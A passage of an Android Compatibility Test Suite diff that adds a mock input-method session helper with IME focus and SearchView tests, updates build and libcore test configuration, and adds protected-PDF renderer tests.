+ public void onReceive(Context context, Intent intent) {
+ if (TextUtils.equals(mActionName, intent.getAction())) {
+ synchronized (mLock) {
+ mCurrentEventStore =
+ mCurrentEventStore.add(ImeEvent.fromBundle(intent.getExtras()));
+ }
+ }
+ }
+
+ public ImeEventStream.ImeEventArray takeEventSnapshot() {
+ synchronized (mLock) {
+ return mCurrentEventStore.takeSnapshot();
+ }
+ }
+ }
+ private final MockImeEventReceiver mEventReceiver =
+ new MockImeEventReceiver(mImeEventActionName);
+
+ private final ImeEventStream mEventStream =
+ new ImeEventStream(mEventReceiver::takeEventSnapshot);
+
+ private static String executeShellCommand(
+ @NonNull UiAutomation uiAutomation, @NonNull String command) {
+ try (ParcelFileDescriptor.AutoCloseInputStream in =
+ new ParcelFileDescriptor.AutoCloseInputStream(
+ uiAutomation.executeShellCommand(command))) {
+ try (BufferedReader br =
+ new BufferedReader(new InputStreamReader(in, StandardCharsets.UTF_8))) {
+ final String line = br.readLine();
+ return line != null ? line.trim() : "";
+ }
+ } catch (IOException e) {
+ return "";
+ }
+ }
+
+ @Nullable
+ private String getCurrentInputMethodId() {
+ // TODO: Replace this with IMM#getCurrentInputMethodIdForTesting()
+ return Settings.Secure.getString(mContext.getContentResolver(),
+ Settings.Secure.DEFAULT_INPUT_METHOD);
+ }
+
+ @Nullable
+ private static void writeMockImeSettings(@NonNull Context context,
+ @NonNull String imeEventActionName,
+ @Nullable ImeSettings.Builder imeSettings) throws Exception {
+ context.deleteFile(MOCK_IME_SETTINGS_FILE);
+ try (OutputStream os = context.openFileOutput(MOCK_IME_SETTINGS_FILE, MODE_PRIVATE)) {
+ Parcel parcel = null;
+ try {
+ parcel = Parcel.obtain();
+ ImeSettings.writeToParcel(parcel, imeEventActionName, imeSettings);
+ os.write(parcel.marshall());
+ } finally {
+ if (parcel != null) {
+ parcel.recycle();
+ }
+ }
+ os.flush();
+ }
+ }
+
+ private ComponentName getMockImeComponentName() {
+ return MockIme.getComponentName(mContext.getPackageName());
+ }
+
+ private String getMockImeId() {
+ return MockIme.getImeId(mContext.getPackageName());
+ }
+
+ private MockImeSession(Context context) {
+ mContext = context;
+ }
+
+ private void initialize(@NonNull UiAutomation uiAutomation,
+ @Nullable ImeSettings.Builder imeSettings) throws Exception {
+ // Make sure that MockIME is not selected.
+ mContext.getPackageManager().setComponentEnabledSetting(getMockImeComponentName(),
+ COMPONENT_ENABLED_STATE_DISABLED, DONT_KILL_APP);
+
+ PollingCheck.check("Make sure that MockIME becomes unavailable", TIMEOUT, () ->
+ mContext.getSystemService(InputMethodManager.class)
+ .getInputMethodList()
+ .stream()
+ .noneMatch(info -> getMockImeComponentName().equals(info.getComponent())));
+
+ writeMockImeSettings(mContext, mImeEventActionName, imeSettings);
+
+ mHandlerThread.start();
+ mContext.registerReceiver(mEventReceiver,
+ new IntentFilter(mImeEventActionName), null /* broadcastPermission */,
+ new Handler(mHandlerThread.getLooper()));
+
+ // Enable MockIME
+ mContext.getPackageManager().setComponentEnabledSetting(
+ getMockImeComponentName(), COMPONENT_ENABLED_STATE_ENABLED, DONT_KILL_APP);
+
+ PollingCheck.check("Wait until the Mock IME is recognized by the IMMS again",
+ TIMEOUT,
+ () -> mContext.getSystemService(InputMethodManager.class)
+ .getInputMethodList()
+ .stream()
+ .anyMatch(info -> getMockImeComponentName().equals(info.getComponent())));
+
+ executeShellCommand(uiAutomation, "ime enable " + getMockImeId());
+ executeShellCommand(uiAutomation, "ime set " + getMockImeId());
+
+ PollingCheck.check("Make sure that MockIME becomes available", TIMEOUT,
+ () -> getMockImeId().equals(getCurrentInputMethodId()));
+ }
+
+ /**
+ * Creates a new Mock IME session. During this session, you can receive various events from
+ * {@link MockIme}.
+ *
+ * @param context {@link Context} to be used to receive inter-process events from the
+ * {@link MockIme} (e.g. via {@link BroadcastReceiver}
+ * @param uiAutomation {@link UiAutomation} object to change the device state that are typically
+ * guarded by permissions.
+ * @param imeSettings Key-value pairs to be passed to the {@link MockIme}.
+ * @return A session object, with which you can retrieve event logs from the {@link MockIme} and
+ * can clean up the session.
+ */
+ @NonNull
+ public static MockImeSession create(
+ @NonNull Context context,
+ @NonNull UiAutomation uiAutomation,
+ @Nullable ImeSettings.Builder imeSettings) throws Exception {
+ final MockImeSession client = new MockImeSession(context);
+ client.initialize(uiAutomation, imeSettings);
+ return client;
+ }
+
+ /**
+ * @return {@link ImeEventStream} object that stores events sent from {@link MockIme} since the
+ * session is created.
+ */
+ public ImeEventStream openEventStream() {
+ return mEventStream.copy();
+ }
+
+ /**
+ * Closes the active session and de-selects {@link MockIme}. Currently which IME will be
+ * selected next is up to the system.
+ */
+ public void close() throws Exception {
+ final ComponentName mockImeComponent = MockIme.getComponentName(mContext.getPackageName());
+
+ // Kill Mock IME process
+ // TODO: Add a new Test API to make which IME will be selected next deterministic.
+ mContext.getPackageManager().setComponentEnabledSetting(
+ mockImeComponent, COMPONENT_ENABLED_STATE_DISABLED, DONT_KILL_APP);
+
+ PollingCheck.check("Make sure that MockIME becomes unavailable", TIMEOUT, () ->
+ mContext.getSystemService(InputMethodManager.class)
+ .getInputMethodList()
+ .stream()
+ .noneMatch(info -> getMockImeComponentName().equals(info.getComponent())));
+
+ mContext.unregisterReceiver(mEventReceiver);
+ mHandlerThread.quitSafely();
+ mContext.deleteFile(MOCK_IME_SETTINGS_FILE);
+ }
+}
diff --git a/tests/inputmethod/res/xml/method.xml b/tests/inputmethod/res/xml/method.xml
new file mode 100644
index 0000000..2266fba
--- /dev/null
+++ b/tests/inputmethod/res/xml/method.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<input-method xmlns:android="http://schemas.android.com/apk/res/android">
+</input-method>
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java
index 41e3efa..9b03ed7 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ExtractedTextTest.java
@@ -18,9 +18,14 @@
import static org.junit.Assert.assertEquals;
+import android.graphics.Typeface;
import android.os.Parcel;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
+import android.text.Spannable;
+import android.text.SpannableStringBuilder;
+import android.text.Spanned;
+import android.text.style.StyleSpan;
import android.view.inputmethod.ExtractedText;
import org.junit.Test;
@@ -38,6 +43,9 @@
extractedText.startOffset = 1;
CharSequence text = "test";
extractedText.text = text;
+ SpannableStringBuilder hint = new SpannableStringBuilder("hint");
+ hint.setSpan(new StyleSpan(Typeface.BOLD), 1, 3, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+ extractedText.hint = hint;
Parcel p = Parcel.obtain();
extractedText.writeToParcel(p, 0);
p.setDataPosition(0);
@@ -49,6 +57,9 @@
assertEquals(extractedText.partialStartOffset, target.partialStartOffset);
assertEquals(extractedText.partialEndOffset, target.partialEndOffset);
assertEquals(extractedText.text.toString(), target.text.toString());
+ assertEquals(extractedText.hint.toString(), target.hint.toString());
+ final Spannable hintText = (Spannable) extractedText.hint;
+ assertEquals(1, hintText.getSpans(0, hintText.length(), StyleSpan.class).length);
assertEquals(0, extractedText.describeContents());
}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
new file mode 100644
index 0000000..dea9b3d
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts;
+
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectBindInput;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
+import android.os.Process;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.TextUtils;
+import android.view.inputmethod.EditorInfo;
+import android.view.inputmethod.cts.util.TestActivity;
+import android.widget.EditText;
+import android.widget.LinearLayout;
+
+import com.android.compatibility.common.util.CtsTouchUtils;
+import com.android.cts.mockime.ImeEvent;
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSession;
+
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class FocusHandlingTest {
+ static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+ static final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(1);
+
+ private final static String TEST_MARKER = "android.view.inputmethod.cts.FocusHandlingTest";
+
+ @BeforeClass
+ public static void setUpClass() {
+ assumeTrue("MockIme cannot be used for devices that do not support installable IMEs",
+ InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_INPUT_METHODS));
+ }
+
+ public EditText launchTestActivity() {
+ final AtomicReference<EditText> editTextRef = new AtomicReference<>();
+ TestActivity.startSync((TestActivity activity) -> {
+ final LinearLayout layout = new LinearLayout(activity);
+ layout.setOrientation(LinearLayout.VERTICAL);
+
+ final EditText editText = new EditText(activity);
+ editText.setPrivateImeOptions(TEST_MARKER);
+ editText.setHint("editText");
+ editTextRef.set(editText);
+
+ layout.addView(editText);
+ return layout;
+ });
+ return editTextRef.get();
+ }
+
+ @Test
+ public void testOnStartInputCalledOnceIme() throws Exception {
+ try(MockImeSession imeSession = MockImeSession.create(
+ InstrumentationRegistry.getContext(),
+ InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+ new ImeSettings.Builder())) {
+ final ImeEventStream stream = imeSession.openEventStream();
+
+ final EditText editText = launchTestActivity();
+
+ // Wait until the MockIme gets bound to the TestActivity.
+ expectBindInput(stream, Process.myPid(), TIMEOUT);
+
+ // Emulate tap event
+ CtsTouchUtils.emulateTapOnViewCenter(
+ InstrumentationRegistry.getInstrumentation(), editText);
+
+ // Wait until "onStartInput" gets called for the EditText.
+ final ImeEvent onStart = expectEvent(stream, event -> {
+ if (!TextUtils.equals("onStartInput", event.getEventName())) {
+ return false;
+ }
+ final EditorInfo editorInfo = event.getArguments().getParcelable("editorInfo");
+ return TextUtils.equals(TEST_MARKER, editorInfo.privateImeOptions);
+ }, TIMEOUT);
+ assertFalse(stream.dump(), onStart.getEnterState().hasDummyInputConnection());
+ assertFalse(stream.dump(), onStart.getArguments().getBoolean("restarting"));
+
+ // There shouldn't be onStartInput any more.
+ notExpectEvent(stream, event -> "onStartInput".equals(event.getEventName()),
+ NOT_EXPECT_TIMEOUT);
+ }
+ }
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java
new file mode 100644
index 0000000..4cef44f
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts;
+
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectBindInput;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
+import android.os.Process;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.InputType;
+import android.view.inputmethod.EditorInfo;
+import android.view.inputmethod.cts.util.TestActivity;
+import android.widget.EditText;
+import android.widget.LinearLayout;
+import android.widget.SearchView;
+
+import com.android.compatibility.common.util.CtsTouchUtils;
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSession;
+
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class SearchViewTest {
+ static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+
+ @BeforeClass
+ public static void setUpClass() {
+ assumeTrue("MockIme cannot be used for devices that do not support installable IMEs",
+ InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_INPUT_METHODS));
+ }
+
+ public SearchView launchTestActivity() {
+ final AtomicReference<SearchView> searchViewRef = new AtomicReference<>();
+ TestActivity.startSync((TestActivity activity) -> {
+ final LinearLayout layout = new LinearLayout(activity);
+ layout.setOrientation(LinearLayout.VERTICAL);
+
+ final EditText initialFocusedEditText = new EditText(activity);
+ initialFocusedEditText.setHint("initialFocusedTextView");
+
+ final SearchView searchView = new SearchView(activity);
+ searchViewRef.set(searchView);
+
+ searchView.setQueryHint("hint");
+ searchView.setIconifiedByDefault(false);
+ searchView.setInputType(InputType.TYPE_TEXT_FLAG_CAP_SENTENCES);
+ searchView.setImeOptions(EditorInfo.IME_ACTION_DONE);
+
+ layout.addView(initialFocusedEditText);
+ layout.addView(searchView);
+ return layout;
+ });
+ return searchViewRef.get();
+ }
+
+ @Test
+ public void testTapThenSetQuery() throws Exception {
+ try(MockImeSession imeSession = MockImeSession.create(
+ InstrumentationRegistry.getContext(),
+ InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+ new ImeSettings.Builder())) {
+ final ImeEventStream stream = imeSession.openEventStream();
+
+ final SearchView searchView = launchTestActivity();
+
+ // Wait until the MockIme gets bound to the TestActivity.
+ expectBindInput(stream, Process.myPid(), TIMEOUT);
+
+ // Emulate tap event
+ CtsTouchUtils.emulateTapOnViewCenter(
+ InstrumentationRegistry.getInstrumentation(), searchView);
+
+ // Wait until "showSoftInput" gets called with a real InputConnection
+ expectEvent(stream, event ->
+ "showSoftInput".equals(event.getEventName())
+ && !event.getExitState().hasDummyInputConnection(), TIMEOUT);
+
+ // Make sure that "setQuery" triggers "hideSoftInput" in the IME side.
+ InstrumentationRegistry.getInstrumentation().runOnMainSync(
+ () -> searchView.setQuery("test", true /* submit */));
+ expectEvent(stream, event -> "hideSoftInput".equals(event.getEventName()), TIMEOUT);
+ }
+ }
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java
new file mode 100644
index 0000000..7f3cd63
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.view.inputmethod.cts.util;
+
+import android.annotation.NonNull;
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.support.test.InstrumentationRegistry;
+import android.view.View;
+
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.Function;
+
+public final class TestActivity extends Activity {
+
+ private static final AtomicReference<Function<TestActivity, View>> sInitializer =
+ new AtomicReference<>();
+
+ private Function<TestActivity, View> mInitializer = null;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ if (mInitializer == null) {
+ mInitializer = sInitializer.get();
+ sInitializer.set(null);
+ }
+ setContentView(mInitializer.apply(this));
+ }
+
+ /**
+ * Launches {@link TestActivity} with the given initialization logic for content view.
+ *
+ * <p>As long as you are using {@link android.support.test.runner.AndroidJUnitRunner}, the test
+ * runner automatically calls {@link Activity#finish()} for the {@link Activity} launched when
+ * the test finished. You do not need to explicitly call {@link Activity#finish()}.</p>
+ *
+ * @param activityInitializer An initializer to supply {@link View} to be passed to
+ * {@link Activity#setContentView(View)}
+ * @return {@link TestActivity} launched
+ */
+ public static TestActivity startSync(
+ @NonNull Function<TestActivity, View> activityInitializer) {
+ sInitializer.set(activityInitializer);
+ final Intent intent = new Intent()
+ .setAction(Intent.ACTION_MAIN)
+ .setClass(InstrumentationRegistry.getContext(), TestActivity.class)
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ return (TestActivity) InstrumentationRegistry
+ .getInstrumentation().startActivitySync(intent);
+ }
+}
diff --git a/tests/leanbackjank/Android.mk b/tests/leanbackjank/Android.mk
index ec114f3..246cf5e 100644
--- a/tests/leanbackjank/Android.mk
+++ b/tests/leanbackjank/Android.mk
@@ -33,9 +33,6 @@
ctstestrunner \
ub-uiautomator \
ub-janktesthelper \
- android-support-v17-leanback \
- android-support-v7-recyclerview \
- android-support-v4 \
legacy-android-test
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/leanbackjank/app/Android.mk b/tests/leanbackjank/app/Android.mk
index 3fc685d..04c3d3f 100644
--- a/tests/leanbackjank/app/Android.mk
+++ b/tests/leanbackjank/app/Android.mk
@@ -27,25 +27,21 @@
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_RESOURCE_DIR := \
- $(TOP)/frameworks/support/v17/leanback/res \
- $(TOP)/frameworks/support/v7/recyclerview/res \
- $(LOCAL_PATH)/res
+LOCAL_USE_AAPT2 := true
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
LOCAL_STATIC_JAVA_LIBRARIES := \
compatibility-device-util \
ctstestrunner \
ub-uiautomator \
ub-janktesthelper \
- android-support-v4 \
- android-support-v7-recyclerview \
- android-support-v17-leanback \
glide
-LOCAL_AAPT_FLAGS := \
- --auto-add-overlay \
- --extra-packages android.support.v17.leanback \
- --extra-packages android.support.v7.recyclerview
+LOCAL_STATIC_ANDROID_LIBRARIES := \
+ android-support-v4 \
+ android-support-v7-recyclerview \
+ android-support-v17-leanback
LOCAL_PROGUARD_FLAG_FILES := proguard.flags
diff --git a/tests/libcore/jsr166/AndroidManifest.xml b/tests/libcore/jsr166/AndroidManifest.xml
index baae488..5fd3f6e 100644
--- a/tests/libcore/jsr166/AndroidManifest.xml
+++ b/tests/libcore/jsr166/AndroidManifest.xml
@@ -22,6 +22,9 @@
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
android:targetPackage="android.libcore.cts.jsr166"
- android:label="CTS Libcore JSR166 test cases" />
+ android:label="CTS Libcore JSR166 test cases">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
</manifest>
diff --git a/tests/libcore/jsr166/AndroidTest.xml b/tests/libcore/jsr166/AndroidTest.xml
index 2a3e5d2..0c67705 100644
--- a/tests/libcore/jsr166/AndroidTest.xml
+++ b/tests/libcore/jsr166/AndroidTest.xml
@@ -27,8 +27,6 @@
</target_preparer>
<test class="com.android.compatibility.testtype.LibcoreTest" >
<option name="package" value="android.libcore.cts.jsr166" />
- <option name="instrumentation-arg" key="listener"
- value="com.android.cts.runner.CtsTestRunListener" />
<option name="instrumentation-arg" key="filter"
value="com.android.cts.core.runner.ExpectationBasedFilter" />
<option name="core-expectation" value="/knownfailures.txt" />
diff --git a/tests/libcore/luni/AndroidManifest.xml b/tests/libcore/luni/AndroidManifest.xml
index 0389be6..4df4b93 100644
--- a/tests/libcore/luni/AndroidManifest.xml
+++ b/tests/libcore/luni/AndroidManifest.xml
@@ -23,6 +23,9 @@
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
android:targetPackage="android.libcore.cts"
- android:label="CTS Libcore test cases" />
+ android:label="CTS Libcore test cases">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
</manifest>
diff --git a/tests/libcore/luni/AndroidTest.xml b/tests/libcore/luni/AndroidTest.xml
index a8c4142..fa1c9cc 100644
--- a/tests/libcore/luni/AndroidTest.xml
+++ b/tests/libcore/luni/AndroidTest.xml
@@ -27,8 +27,6 @@
</target_preparer>
<test class="com.android.compatibility.testtype.LibcoreTest" >
<option name="package" value="android.libcore.cts" />
- <option name="instrumentation-arg" key="listener"
- value="com.android.cts.runner.CtsTestRunListener" />
<option name="instrumentation-arg" key="filter"
value="com.android.cts.core.runner.ExpectationBasedFilter" />
<option name="core-expectation" value="/knownfailures.txt" />
diff --git a/tests/libcore/ojluni/AndroidManifest.xml b/tests/libcore/ojluni/AndroidManifest.xml
index c010a32..8c45c30 100644
--- a/tests/libcore/ojluni/AndroidManifest.xml
+++ b/tests/libcore/ojluni/AndroidManifest.xml
@@ -21,6 +21,9 @@
<!-- important: instrument another package which actually contains AJUR -->
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
android:targetPackage="android.libcore.runner"
- android:label="CTS Libcore OJ test cases" />
+ android:label="CTS Libcore OJ test cases">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
</manifest>
diff --git a/tests/libcore/ojluni/AndroidTest.xml b/tests/libcore/ojluni/AndroidTest.xml
index 1cebd4e..2b7ae29 100644
--- a/tests/libcore/ojluni/AndroidTest.xml
+++ b/tests/libcore/ojluni/AndroidTest.xml
@@ -22,7 +22,7 @@
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
- <!-- this has the CoreTestRunner which needs to be in a separate APK -->
+ <!-- this has the AJUR which needs to be in a separate APK -->
<option name="test-file-name" value="CtsLibcoreTestRunner.apk" />
<!-- this has just the instrumentation which acts as the tests we want to run -->
<option name="test-file-name" value="CtsLibcoreOjTestCases.apk" />
@@ -31,8 +31,6 @@
<option name="package" value="android.libcore.cts.oj" />
<option name="instrumentation-arg" key="runnerBuilder"
value="com.android.cts.core.runner.support.TestNgRunnerBuilder"/>
- <option name="instrumentation-arg" key="listener"
- value="com.android.cts.runner.CtsTestRunListener"/>
<option name="instrumentation-arg" key="filter"
value="com.android.cts.core.runner.ExpectationBasedFilter" />
<option name="core-expectation" value="/knownfailures.txt" />
diff --git a/tests/libcore/okhttp/AndroidManifest.xml b/tests/libcore/okhttp/AndroidManifest.xml
index 151fda9..dfff563 100644
--- a/tests/libcore/okhttp/AndroidManifest.xml
+++ b/tests/libcore/okhttp/AndroidManifest.xml
@@ -17,12 +17,15 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.libcore.cts.okhttp">
<uses-permission android:name="android.permission.INTERNET" />
- <application>
+ <application android:usesCleartextTraffic="true">
<uses-library android:name="android.test.runner" />
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
android:targetPackage="android.libcore.cts.okhttp"
- android:label="CTS Libcore OkHttp test cases" />
+ android:label="CTS Libcore OkHttp test cases">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
</manifest>
diff --git a/tests/libcore/okhttp/AndroidTest.xml b/tests/libcore/okhttp/AndroidTest.xml
index 4e79b80..c3470cc 100644
--- a/tests/libcore/okhttp/AndroidTest.xml
+++ b/tests/libcore/okhttp/AndroidTest.xml
@@ -27,8 +27,6 @@
</target_preparer>
<test class="com.android.compatibility.testtype.LibcoreTest" >
<option name="package" value="android.libcore.cts.okhttp" />
- <option name="instrumentation-arg" key="listener"
- value="com.android.cts.runner.CtsTestRunListener" />
<option name="instrumentation-arg" key="filter"
value="com.android.cts.core.runner.ExpectationBasedFilter" />
<option name="core-expectation" value="/knownfailures.txt" />
diff --git a/tests/libcore/wycheproof-bc/AndroidManifest.xml b/tests/libcore/wycheproof-bc/AndroidManifest.xml
index 15c5fd5..fb53977 100644
--- a/tests/libcore/wycheproof-bc/AndroidManifest.xml
+++ b/tests/libcore/wycheproof-bc/AndroidManifest.xml
@@ -23,6 +23,9 @@
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
android:targetPackage="android.libcore.cts.wycheproof.bouncycastle"
- android:label="CTS Libcore Wycheproof Bouncy Castle test cases" />
+ android:label="CTS Libcore Wycheproof Bouncy Castle test cases">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
</manifest>
diff --git a/tests/libcore/wycheproof-bc/AndroidTest.xml b/tests/libcore/wycheproof-bc/AndroidTest.xml
index 9c3a50a..ac761f3 100644
--- a/tests/libcore/wycheproof-bc/AndroidTest.xml
+++ b/tests/libcore/wycheproof-bc/AndroidTest.xml
@@ -26,8 +26,6 @@
context of one of the suites, so we have to limit the test
infrastructure to only running the test suites. -->
<option name="test-package" value="android.libcore.cts.wycheproof" />
- <option name="instrumentation-arg" key="listener"
- value="com.android.cts.runner.CtsTestRunListener" />
<option name="instrumentation-arg" key="filter"
value="com.android.cts.core.runner.ExpectationBasedFilter" />
<option name="core-expectation" value="/knownfailures.txt" />
diff --git a/tests/libcore/wycheproof/AndroidManifest.xml b/tests/libcore/wycheproof/AndroidManifest.xml
index 765c677..5e8058f 100644
--- a/tests/libcore/wycheproof/AndroidManifest.xml
+++ b/tests/libcore/wycheproof/AndroidManifest.xml
@@ -23,6 +23,9 @@
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
android:targetPackage="android.libcore.cts.wycheproof.conscrypt"
- android:label="CTS Libcore Wycheproof Conscrypt test cases" />
+ android:label="CTS Libcore Wycheproof Conscrypt test cases">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
</manifest>
diff --git a/tests/libcore/wycheproof/AndroidTest.xml b/tests/libcore/wycheproof/AndroidTest.xml
index b5874fd..0c713b9 100644
--- a/tests/libcore/wycheproof/AndroidTest.xml
+++ b/tests/libcore/wycheproof/AndroidTest.xml
@@ -26,8 +26,6 @@
context of one of the suites, so we have to limit the test
infrastructure to only running the test suites. -->
<option name="test-package" value="android.libcore.cts.wycheproof" />
- <option name="instrumentation-arg" key="listener"
- value="com.android.cts.runner.CtsTestRunListener" />
<option name="instrumentation-arg" key="filter"
value="com.android.cts.core.runner.ExpectationBasedFilter" />
<option name="core-expectation" value="/knownfailures.txt" />
diff --git a/tests/pdf/res/raw/protected_pdf.pdf b/tests/pdf/res/raw/protected_pdf.pdf
new file mode 100644
index 0000000..e4092b9
--- /dev/null
+++ b/tests/pdf/res/raw/protected_pdf.pdf
Binary files differ
diff --git a/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java b/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java
index 2f0158e..2ce69d1 100644
--- a/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java
+++ b/tests/pdf/src/android/graphics/pdf/cts/PdfRendererTest.java
@@ -62,6 +62,7 @@
private static final int A5_PORTRAIT_PRINTSCALING_NONE =
R.raw.a5_portrait_rgbb_1_6_printscaling_none;
private static final int TWO_PAGES = R.raw.two_pages;
+ private static final int PROTECTED_PDF = R.raw.protected_pdf;
private Context mContext;
@@ -76,12 +77,28 @@
}
@Test
- @Ignore("Makes all subsequent tests fail")
public void constructRendererFromNonPDF() throws Exception {
// Open jpg as if it was a PDF
- ParcelFileDescriptor fd = mContext.getResources().openRawResourceFd(R.raw.testimage)
- .getParcelFileDescriptor();
- verifyException(() -> new PdfRenderer(fd), IOException.class);
+ verifyException(() -> createRenderer(R.raw.testimage, mContext), IOException.class);
+ }
+
+ @Test
+ public void constructRendererFromProtectedPDF() throws Exception {
+ verifyException(() -> createRenderer(PROTECTED_PDF, mContext), SecurityException.class);
+ }
+
+ @Test
+ public void rendererRecoversAfterFailure() throws Exception {
+ // Create rendered to prevent lib from being unloaded
+ PdfRenderer firstRenderer = createRenderer(A4_PORTRAIT, mContext);
+
+ verifyException(() -> createRenderer(PROTECTED_PDF, mContext), SecurityException.class);
+
+ // We can create new renderers after we failed to create one
